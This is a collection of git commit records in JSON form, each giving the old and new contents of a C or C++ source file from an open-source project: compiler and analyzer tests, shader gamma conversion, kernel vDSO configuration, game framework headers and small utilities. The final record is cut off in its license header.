{"commit":"72d3d27dd2b4b15bba30f0b7a56a1255ee09fbdc","old_file":"tests\/regression\/02-base\/44-malloc_array.c","new_file":"tests\/regression\/02-base\/44-malloc_array.c","old_contents":"\/\/ PARAM: --set ana.int.interval true --enable exp.partition-arrays.enabled\n#include<stdlib.h>\n#include<assert.h>\n\nint main(void) {\n    int *r = malloc(5 * sizeof(int));\n\n    r[3] = 2;\n\n    assert(r[4] == 2); \n    (* Here we only test our implementation. Concretely, accessing the uninitialised r[4] is undefined behavior.\n    In our implementation we keep the whole memory allocated by malloc as one Blob and the whole Blob contains 2 after it was assigned to r[3].\n    This is more useful than keeping the Blob unknown. *)\n}","new_contents":"\/\/ PARAM: --set ana.int.interval true --enable exp.partition-arrays.enabled\n#include<stdlib.h>\n#include<assert.h>\n\nint main(void) {\n    int *r = malloc(5 * sizeof(int));\n\n    r[3] = 2;\n\n    assert(r[4] == 2); \n    \/* Here we only test our implementation. Concretely, accessing the uninitialised r[4] is undefined behavior.\n    In our implementation we keep the whole memory allocated by malloc as one Blob and the whole Blob contains 2 after it was assigned to r[3].\n    This is more useful than keeping the Blob unknown. *\/\n}","subject":"Mark the comment in a proper C style","message":"Mark the comment in a proper C style\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"75e54983b2b62ec12e7c62b42dd46b1dd7d3fd96","old_file":"brotherKH930.h","new_file":"brotherKH930.h","old_contents":"#ifndef BROTHERKH930_H_\n#define BROTHERKH930_H_\n\n#import \"position.h\"\n\n\/** Pins unsed for interfacing with the BrotherKH930. *\/\nstruct PinSetup {\n  int encoderV1;\n  int encoderV2;\n  int encoderBP; \/\/ belt-phase\n};\n\n\/** Pin setup as used by the KniticV2 PCB. *\/\nPinSetup kniticV2Pins();\n\n\/**\n * Interfact to a brother knitting machine KH930\/940.\n * The callback will be called on every event (position\/direction change).\n *\/\nclass BrotherKH930 {\npublic:\n  BrotherKH930(const PinSetup pins, void (*callback)(void*), void* context);\n\n  int position();\n  Direction direction();\n\nprivate:\n  static void positionCallback(void* context, int pos);\n  void onChange();\nprivate:\n  Position *pos;\nprivate:\n  void (*callback)(void*);\n  void* callbackContext;\n};\n\n#endif\n","new_contents":"#ifndef BROTHERKH930_H_\n#define BROTHERKH930_H_\n\n#import \"position.h\"\n\n\/** Pins unsed for interfacing with the BrotherKH930. *\/\nstruct PinSetup {\n  int encoderV1;\n  int encoderV2;\n  int encoderBP; \/\/ belt-phase\n};\n\n\/** Pin setup as used by the KniticV2 PCB. *\/\nPinSetup kniticV2Pins();\n\n\/**\n * Interfact to a brother knitting machine KH930\/940.\n * The callback will be called on every event (position\/direction change). The\n * callback might be called in a ISR.\n *\/\nclass BrotherKH930 {\npublic:\n  BrotherKH930(const PinSetup pins, void (*callback)(void*), void* context);\n\n  int position();\n  Direction direction();\n\nprivate:\n  static void positionCallback(void* context, int pos);\n  void onChange();\nprivate:\n  Position *pos;\nprivate:\n  void (*callback)(void*);\n  void* callbackContext;\n};\n\n#endif\n","subject":"Add comment regarding ISR in callback.","message":"Add comment regarding ISR in callback.\n","lang":"C","license":"apache-2.0","repos":"msiegenthaler\/brotherKH930_arduino"}
{"commit":"7c686661d65c63f6f518ca81830dd61bd64bfe1f","old_file":"test\/Analysis\/uninit-vals-ps.c","new_file":"test\/Analysis\/uninit-vals-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct FPRec {\n  void (*my_func)(int * x);  \n};\n\nint bar(int x);\n\nint f1_a(struct FPRec* foo) {\n  int x;\n  (*foo->my_func)(&x);\n  return bar(x)+1; \/\/ no-warning\n}\n\nint f1_b() {\n  int x;\n  return bar(x)+1;  \/\/ expected-warning{{Pass-by-value argument in function is undefined.}}\n}\n\nint f2() {\n  \n  int x;\n  \n  if (x+1)  \/\/ expected-warning{{Branch}}\n    return 1;\n    \n  return 2;  \n}\n\nint f2_b() {\n  int x;\n  \n  return ((x+1)+2+((x))) + 1 ? 1 : 2; \/\/ expected-warning{{Branch}}\n}\n\nint f3(void) {\n  int i;\n  int *p = &i;\n  if (*p > 0) \/\/ expected-warning{{Branch condition evaluates to an uninitialized value}}\n    return 0;\n  else\n    return 1;\n}\n\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct FPRec {\n  void (*my_func)(int * x);  \n};\n\nint bar(int x);\n\nint f1_a(struct FPRec* foo) {\n  int x;\n  (*foo->my_func)(&x);\n  return bar(x)+1; \/\/ no-warning\n}\n\nint f1_b() {\n  int x;\n  return bar(x)+1;  \/\/ expected-warning{{Pass-by-value argument in function is undefined.}}\n}\n\nint f2() {\n  \n  int x;\n  \n  if (x+1)  \/\/ expected-warning{{Branch}}\n    return 1;\n    \n  return 2;  \n}\n\nint f2_b() {\n  int x;\n  \n  return ((x+1)+2+((x))) + 1 ? 1 : 2; \/\/ expected-warning{{Branch}}\n}\n\nint f3(void) {\n  int i;\n  int *p = &i;\n  if (*p > 0) \/\/ expected-warning{{Branch condition evaluates to an uninitialized value}}\n    return 0;\n  else\n    return 1;\n}\n\nint ret_uninit() {\n  int i;\n  int *p = &i;\n  return *p;  \/\/ expected-warning{{Uninitialized or undefined return value returned to caller.}}\n}\n\n\n","subject":"Add checker test case: warn about returning an uninitialized value to the caller.","message":"Add checker test case: warn about returning an uninitialized value to the caller.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59765 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"dcd310e5c86b0a93ab79ac0940c936486106fb6a","old_file":"osu.Framework\/Resources\/Shaders\/sh_Utils.h","new_file":"osu.Framework\/Resources\/Shaders\/sh_Utils.h","old_contents":"﻿#define GAMMA 2.2\r\n\r\nvec4 toLinear(vec4 colour)\r\n{\r\n\treturn vec4(pow(colour.rgb, vec3(GAMMA)), colour.a);\r\n}\r\n\r\nvec4 toSRGB(vec4 colour)\r\n{\r\n\treturn vec4(pow(colour.rgb, vec3(1.0 \/ GAMMA)), colour.a);\r\n}","new_contents":"﻿#define GAMMA 2.4\r\n\r\nfloat toLinear(float color)\r\n{\r\n\treturn color <= 0.04045 ? (color \/ 12.92) : pow((color + 0.055) \/ 1.055, GAMMA);\r\n}\r\n\r\nvec4 toLinear(vec4 colour)\r\n{\r\n\treturn vec4(toLinear(colour.r), toLinear(colour.g), toLinear(colour.b), colour.a);\r\n}\r\n\r\nfloat toSRGB(float color)\r\n{\r\n\treturn color < 0.0031308 ? (12.92 * color) : (1.055 * pow(color, 1.0 \/ GAMMA) - 0.055);\r\n}\r\n\r\nvec4 toSRGB(vec4 colour)\r\n{\r\n\treturn vec4(toSRGB(colour.r), toSRGB(colour.g), toSRGB(colour.b), colour.a);\r\n\r\n\t\/\/ The following implementation using mix and step may be faster, but stackoverflow indicates it is in fact a lot slower on some GPUs.\r\n\t\/\/return vec4(mix(colour.rgb * 12.92, 1.055 * pow(colour.rgb, vec3(1.0 \/ GAMMA)) - vec3(0.055), step(0.0031308, colour.rgb)), colour.a);\r\n}","subject":"Convert to sRGB based on the appropriate formulas instead of an approximiate 2.2 gamma correction.","message":"Convert to sRGB based on the appropriate formulas instead of an approximiate 2.2 gamma correction.\n","lang":"C","license":"mit","repos":"EVAST9919\/osu-framework,naoey\/osu-framework,ZLima12\/osu-framework,naoey\/osu-framework,paparony03\/osu-framework,Nabile-Rahmani\/osu-framework,default0\/osu-framework,DrabWeb\/osu-framework,peppy\/osu-framework,peppy\/osu-framework,smoogipooo\/osu-framework,DrabWeb\/osu-framework,RedNesto\/osu-framework,ZLima12\/osu-framework,EVAST9919\/osu-framework,EVAST9919\/osu-framework,DrabWeb\/osu-framework,Tom94\/osu-framework,paparony03\/osu-framework,peppy\/osu-framework,ppy\/osu-framework,Nabile-Rahmani\/osu-framework,Tom94\/osu-framework,ppy\/osu-framework,RedNesto\/osu-framework,smoogipooo\/osu-framework,ppy\/osu-framework,EVAST9919\/osu-framework,default0\/osu-framework"}
{"commit":"73499d78a98dd162f774d1be8f6bb0cc10229b92","old_file":"include\/lldb\/Host\/Endian.h","new_file":"include\/lldb\/Host\/Endian.h","old_contents":"\/\/===-- Endian.h ------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef liblldb_host_endian_h_\n#define liblldb_host_endian_h_\n\n#include \"lldb\/lldb-enumerations.h\"\n\nnamespace lldb {\n\nnamespace endian {\n\n    static union EndianTest\n    {\n        uint32_t num;\n        uint8_t  bytes[sizeof(uint32_t)];\n    } const endianTest = { (uint16_t)0x01020304 };\n    \n    inline ByteOrder InlHostByteOrder() { return (ByteOrder)endianTest.bytes[0]; }\n\n\/\/    ByteOrder const InlHostByteOrder = (ByteOrder)endianTest.bytes[0];\n}\n\n}\n\n#endif  \/\/ liblldb_host_endian_h_\n\n","new_contents":"\/\/===-- Endian.h ------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef liblldb_host_endian_h_\n#define liblldb_host_endian_h_\n\n#include \"lldb\/lldb-enumerations.h\"\n\nnamespace lldb {\n\nnamespace endian {\n\n    static union EndianTest\n    {\n        uint32_t num;\n        uint8_t  bytes[sizeof(uint32_t)];\n    } const endianTest = { 0x01020304 };\n    \n    inline ByteOrder InlHostByteOrder() { return (ByteOrder)endianTest.bytes[0]; }\n\n\/\/    ByteOrder const InlHostByteOrder = (ByteOrder)endianTest.bytes[0];\n}\n\n}\n\n#endif  \/\/ liblldb_host_endian_h_\n\n","subject":"Fix endian test for big-endian hosts","message":"Fix endian test for big-endian hosts\n\nThe uint16_t cast truncated the magic value to 0x00000304, making the\nfirst byte 0 (eByteOrderInvalid) on big endian hosts.\n\nReported by Justin Hibbits.\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@213861 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb"}
{"commit":"0b073b52fd838984f2ee34095627b5e95d863c3e","old_file":"JPetReaderInterface\/JPetReaderInterface.h","new_file":"JPetReaderInterface\/JPetReaderInterface.h","old_contents":"\/**\n *  @copyright Copyright 2016 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetReaderInterface.h \n *\/\n\n#ifndef JPETREADERINTERFACE_H \n#define JPETREADERINTERFACE_H \n\n#include <TNamed.h> \/\/ for Event typedef\n\nclass JPetReaderInterface {\n public:\n  typedef TObject MyEvent; \n  virtual ~JPetReaderInterface() {;}\n  virtual MyEvent& getCurrentEvent()=0;   \n  virtual bool nextEvent()=0;\n  virtual bool firstEvent()=0;\n  virtual bool lastEvent()=0;\n  virtual bool nthEvent(int n)=0;\n  virtual long long getCurrentEventNumber() const =0;\n  virtual long long getNbOfAllEvents() const =0; \n  virtual TObject* getObjectFromFile(const char* name)=0;\n  \n  virtual bool openFileAndLoadData(const char* filename, const char* treename)=0;\n  virtual void closeFile()=0; \n};\n#endif \/*  !JPETREADERINTERFACE_H *\/\n\n","new_contents":"\/**\n *  @copyright Copyright 2016 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetReaderInterface.h \n *\/\n\n#ifndef JPETREADERINTERFACE_H \n#define JPETREADERINTERFACE_H \n\n#include <TNamed.h> \/\/ for Event typedef\n\nclass JPetReaderInterface {\n public:\n  typedef TObject MyEvent; \n  virtual ~JPetReaderInterface() {;}\n  virtual MyEvent& getCurrentEvent()=0;   \n  virtual bool nextEvent()=0;\n  virtual bool firstEvent()=0;\n  virtual bool lastEvent()=0;\n  virtual bool nthEvent(long long int n)=0;\n  virtual long long getCurrentEventNumber() const =0;\n  virtual long long getNbOfAllEvents() const =0; \n  virtual TObject* getObjectFromFile(const char* name)=0;\n  \n  virtual bool openFileAndLoadData(const char* filename, const char* treename)=0;\n  virtual void closeFile()=0; \n};\n#endif \/*  !JPETREADERINTERFACE_H *\/\n\n","subject":"Change int to long long","message":"Change int to long long\n","lang":"C","license":"apache-2.0","repos":"wkrzemien\/j-pet-framework,wkrzemien\/j-pet-framework,wkrzemien\/j-pet-framework,wkrzemien\/j-pet-framework,wkrzemien\/j-pet-framework"}
{"commit":"ac843efe7bcdc94edf442b210ff70dddc486576e","old_file":"Problem031\/C\/solution_1.c","new_file":"Problem031\/C\/solution_1.c","old_contents":"\/*\n * =====================================================================================\n *\n *                      Copyright 2015 Manoel Vilela\n *\n *\n *       Filename: solution_1.c\n *\n *    Description: Solution for Problem031 of ProjectEuler\n *\n *         Author: Manoel Vilela\n *        Contact: manoel_vilela@engineer.com\n *   Organization: UFPA\n *     Perfomance: 0.02s | Intel E7400 @ 3.5Ghz\n *\n * =====================================================================================\n**\/\n\n#include <stdio.h>\n#define N_COINS 8\n\nint different_ways(int money, int *coins, int n_coins) {\n    int max_coin = money \/ (*coins);\n    int n, ways = 0;\n    for (n = 0; n <= max_coin; n++) {\n        int new_money = (*coins) * n;\n\n        if (n_coins > 1 && new_money < money)\n            ways += different_ways(money - new_money, coins + 1, n_coins - 1);\n\n        if (new_money == money) {\n            ways++;\n            break;\n        }\n    }\n\n    return ways;\n}\n\n\nint main(int argc, char **argv){\n    int coins[N_COINS] = {200, 100, 50, 20, 10, 5, 2, 1};\n    int money = 200;\n    int answer = different_ways(money, coins, N_COINS);\n\n    printf(\"%d\\n\", answer);\n    return 0;\n}","new_contents":"\/*\n * =====================================================================================\n *\n *                      Copyright 2015 Manoel Vilela\n *\n *\n *       Filename: solution_1.c\n *\n *    Description: Solution for Problem031 of ProjectEuler\n *\n *         Author: Manoel Vilela\n *        Contact: manoel_vilela@engineer.com\n *   Organization: UFPA\n *     Perfomance: 0.02s | Intel E7400 @ 3.5Ghz\n *\n * =====================================================================================\n**\/\n\n#include <stdio.h>\n\nint different_ways(int money, int *coins, int n_coins) {\n    int max_coin = money \/ (*coins);\n    int n, ways = 0;\n    for (n = 0; n <= max_coin; n++) {\n        int new_money = (*coins) * n;\n\n        if (n_coins > 1 && new_money < money)\n            ways += different_ways(money - new_money, coins + 1, n_coins - 1);\n\n        if (new_money == money) {\n            ways++;\n            break;\n        }\n    }\n\n    return ways;\n}\n\n\nint main(int argc, char **argv){\n    int coins[] = {200, 100, 50, 20, 10, 5, 2, 1};\n    int lenght = sizeof(coins) \/ sizeof(int);\n    int money = 200;\n    int answer = different_ways(money, coins, lenght);\n\n    printf(\"%d\\n\", answer);\n    return 0;\n}","subject":"Remove the unecessary macro N_COINS to sizeof-way","message":"Remove the unecessary macro N_COINS to sizeof-way\n","lang":"C","license":"mit","repos":"DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler,DestructHub\/ProjectEuler"}
{"commit":"b4e508eccf76d11287a40698c2484ab592446cee","old_file":"ir\/be\/test\/fehler24.c","new_file":"ir\/be\/test\/fehler24.c","old_contents":"","new_contents":"\/* The tarval module fails to negate the constant and returns TV_OVERFLOW_BAD\n * when optimising the comparison (-x < 0  ->  x > 0). It is not expected that\n * the negation fails and an assertion while constructing the negated constant\n * is triggered *\/\n\nint f(double x)\n{\n\treturn -x < 0;\n}\n\n\nint main(void)\n{\n\treturn 0;\n}\n","subject":"Add a test case where the tarval module generates an unexpected result.","message":"Add a test case where the tarval module generates an unexpected result.\n\n[r14777]\n","lang":"C","license":"lgpl-2.1","repos":"8l\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,8l\/libfirm,8l\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,libfirm\/libfirm,8l\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,8l\/libfirm,8l\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm"}
{"commit":"8da42ceabc214f68ef11c95249e6e2519c58ae06","old_file":"Classes\/MoveAbleElemBaseFactory.h","new_file":"Classes\/MoveAbleElemBaseFactory.h","old_contents":"","new_contents":"#pragma once\n#include \"cocos2d.h\"\n#include \"MoveAbleElem.h\"\n\nclass MoveAbleElemBaseFactory :public cocos2d::Ref\n{\nprotected:\n\tMoveAbleElemBaseFactory() { ; }\npublic:\n\n\tvirtual ~MoveAbleElemBaseFactory()\n\t{\n\n\t}\n\n\tvirtual bool init()\n\t{\n\t\treturn true;\n\t}\n\n\tstatic MoveAbleElemBaseFactory * create()\n\t{\n\t\treturn nullptr;\n\t}\n\n\tvirtual MoveAbleElem * getMoveAbleElem()\n\t{\n\t\treturn nullptr;\n\t}\n\n\tvirtual void recycleElem(MoveAbleElem * pElem)\n\t{\n\t}\n\nprotected:\n\tcocos2d::Vector<MoveAbleElem *> _vUsedElem;\n\tcocos2d::Vector<MoveAbleElem *> _vReadyElem;\n\nprivate:\n\n};\n","subject":"Add base factory to produce moveAbleElem","message":"Add base factory to produce moveAbleElem\n","lang":"C","license":"mit","repos":"wjingzhe\/A_ParkourJingz,wjingzhe\/ParkourJingz,wjingzhe\/A_ParkourJingz,wjingzhe\/ParkourJingz,wjingzhe\/A_ParkourJingz,wjingzhe\/ParkourJingz,wjingzhe\/ParkourJingz,wjingzhe\/A_ParkourJingz,wjingzhe\/ParkourJingz,wjingzhe\/ParkourJingz,wjingzhe\/A_ParkourJingz,wjingzhe\/A_ParkourJingz"}
{"commit":"e0c8d7bc0a14d5b7fb6b528c10b8462eacc18f0e","old_file":"src\/api-mock.h","new_file":"src\/api-mock.h","old_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/exceptions.h\"\n\n#include \"http\/httpserver.h\"\n#include \"http\/requestdata.h\"\n#include \"http\/requestdata.h\"\n#include \"http\/statuscodes.h\"\n\n#include \"routing\/routedresourcestrategy.h\"\n\n#endif","new_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/exceptions.h\"\n\n#include \"http\/httpserver.h\"\n#include \"http\/requestdata.h\"\n#include \"http\/requestdata.h\"\n#include \"http\/statuscodes.h\"\n\n#include \"routing\/config.h\"\n#include \"routing\/routedresourcestrategy.h\"\n\n#endif","subject":"Include route configuration file in main header","message":"Include route configuration file in main header\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"fb535ccb30845fe0b7bd09caa37a838985b72ff9","old_file":"arch\/x86\/entry\/vdso\/vdso32\/vclock_gettime.c","new_file":"arch\/x86\/entry\/vdso\/vdso32\/vclock_gettime.c","old_contents":"#define BUILD_VDSO32\n\n#ifndef CONFIG_CC_OPTIMIZE_FOR_SIZE\n#undef CONFIG_OPTIMIZE_INLINING\n#endif\n\n#undef CONFIG_X86_PPRO_FENCE\n\n#ifdef CONFIG_X86_64\n\n\/*\n * in case of a 32 bit VDSO for a 64 bit kernel fake a 32 bit kernel\n * configuration\n *\/\n#undef CONFIG_64BIT\n#undef CONFIG_X86_64\n#undef CONFIG_ILLEGAL_POINTER_VALUE\n#undef CONFIG_SPARSEMEM_VMEMMAP\n#undef CONFIG_NR_CPUS\n\n#define CONFIG_X86_32 1\n#define CONFIG_PAGE_OFFSET 0\n#define CONFIG_ILLEGAL_POINTER_VALUE 0\n#define CONFIG_NR_CPUS 1\n\n#define BUILD_VDSO32_64\n\n#endif\n\n#include \"..\/vclock_gettime.c\"\n","new_contents":"#define BUILD_VDSO32\n\n#ifndef CONFIG_CC_OPTIMIZE_FOR_SIZE\n#undef CONFIG_OPTIMIZE_INLINING\n#endif\n\n#undef CONFIG_X86_PPRO_FENCE\n\n#ifdef CONFIG_X86_64\n\n\/*\n * in case of a 32 bit VDSO for a 64 bit kernel fake a 32 bit kernel\n * configuration\n *\/\n#undef CONFIG_64BIT\n#undef CONFIG_X86_64\n#undef CONFIG_PGTABLE_LEVELS\n#undef CONFIG_ILLEGAL_POINTER_VALUE\n#undef CONFIG_SPARSEMEM_VMEMMAP\n#undef CONFIG_NR_CPUS\n\n#define CONFIG_X86_32 1\n#define CONFIG_PGTABLE_LEVELS 2\n#define CONFIG_PAGE_OFFSET 0\n#define CONFIG_ILLEGAL_POINTER_VALUE 0\n#define CONFIG_NR_CPUS 1\n\n#define BUILD_VDSO32_64\n\n#endif\n\n#include \"..\/vclock_gettime.c\"\n","subject":"Define PGTABLE_LEVELS to 32bit VDSO","message":"x86\/vdso32: Define PGTABLE_LEVELS to 32bit VDSO\n\nIn case of CONFIG_X86_64, vdso32\/vclock_gettime.c fakes a 32-bit\nnon-PAE kernel configuration by re-defining it to CONFIG_X86_32.\nHowever, it does not re-define CONFIG_PGTABLE_LEVELS leaving it\nas 4 levels.\n\nThis mismatch leads <asm\/pgtable_type.h> to NOT include <asm-generic\/\npgtable-nopud.h> and <asm-generic\/pgtable-nopmd.h>, which will cause\ncompile errors when a later patch enhances <asm\/pgtable_type.h> to\nuse PUD_SHIFT and PMD_SHIFT.  These -nopud & -nopmd headers define\nthese SHIFTs for the 32-bit non-PAE kernel.\n\nFix it by re-defining CONFIG_PGTABLE_LEVELS to 2 levels.\n\nSigned-off-by: Toshi Kani <322b9f75d3806917607539efc168804d71b9503d@hpe.com>\nCc: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@linux-foundation.org>\nCc: Juergen Gross <29bbaec13092d36559e3abc6f27f7d09c395819f@suse.com>\nCc: H. Peter Anvin <8a453bad9912ffe59bc0f0b8abe03df9be19379e@zytor.com>\nCc: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@redhat.com>\nCc: Borislav Petkov <0691a664b24b6f15b20cd5aee64b72271db08be1@alien8.de>\nCc: Konrad Wilk <da3a51b335cef0eb0e2c329c5ef6bcd6acef687a@oracle.com>\nCc: Robert Elliot <fcf6aac10c16bf4310224494560ff8cb9772fa2e@hpe.com>\nCc: eb778157e2286fdb10f8995701208f41dd1c36dc@kvack.org\nLink: http:\/\/lkml.kernel.org\/r\/1442514264-12475-2-git-send-email-322b9f75d3806917607539efc168804d71b9503d@hpe.com\nSigned-off-by: Thomas Gleixner <00e4cf8f46a57000a44449bf9dd8cbbcc209fd2a@linutronix.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"eff55937ab190391534fc00c0f2c8760728ddb4e","old_file":"Parser\/pgen.h","new_file":"Parser\/pgen.h","old_contents":"\/***********************************************************\nCopyright 1991 by Stichting Mathematisch Centrum, Amsterdam, The\nNetherlands.\n\n                        All Rights Reserved\n\nPermission to use, copy, modify, and distribute this software and its \ndocumentation for any purpose and without fee is hereby granted, \nprovided that the above copyright notice appear in all copies and that\nboth that copyright notice and this permission notice appear in \nsupporting documentation, and that the names of Stichting Mathematisch\nCentrum or CWI not be used in advertising or publicity pertaining to\ndistribution of the software without specific, written prior permission.\n\nSTICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO\nTHIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND\nFITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE\nFOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT\nOF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n******************************************************************\/\n\n\/* Parser generator interface *\/\n\nextern grammar gram;\n\nextern grammar *meta_grammar PROTO((void));\nextern grammar *pgen PROTO((struct _node *));\n","new_contents":"\/***********************************************************\nCopyright 1991 by Stichting Mathematisch Centrum, Amsterdam, The\nNetherlands.\n\n                        All Rights Reserved\n\nPermission to use, copy, modify, and distribute this software and its \ndocumentation for any purpose and without fee is hereby granted, \nprovided that the above copyright notice appear in all copies and that\nboth that copyright notice and this permission notice appear in \nsupporting documentation, and that the names of Stichting Mathematisch\nCentrum or CWI not be used in advertising or publicity pertaining to\ndistribution of the software without specific, written prior permission.\n\nSTICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO\nTHIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND\nFITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE\nFOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT\nOF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n******************************************************************\/\n\n\/* Parser generator interface *\/\n\nextern grammar gram;\n\nextern grammar *meta_grammar PROTO((void));\n\nstruct _node;\nextern grammar *pgen PROTO((struct _node *));\n","subject":"Add declaration of struct _node, for scoping reasons.","message":"Add declaration of struct _node, for scoping reasons.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"8801070251ffe70e28e6937b74ccbd57a984c2bc","old_file":"src\/rtpp_ucl.h","new_file":"src\/rtpp_ucl.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2018 Sippy Software, Inc., http:\/\/www.sippysoft.com\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n 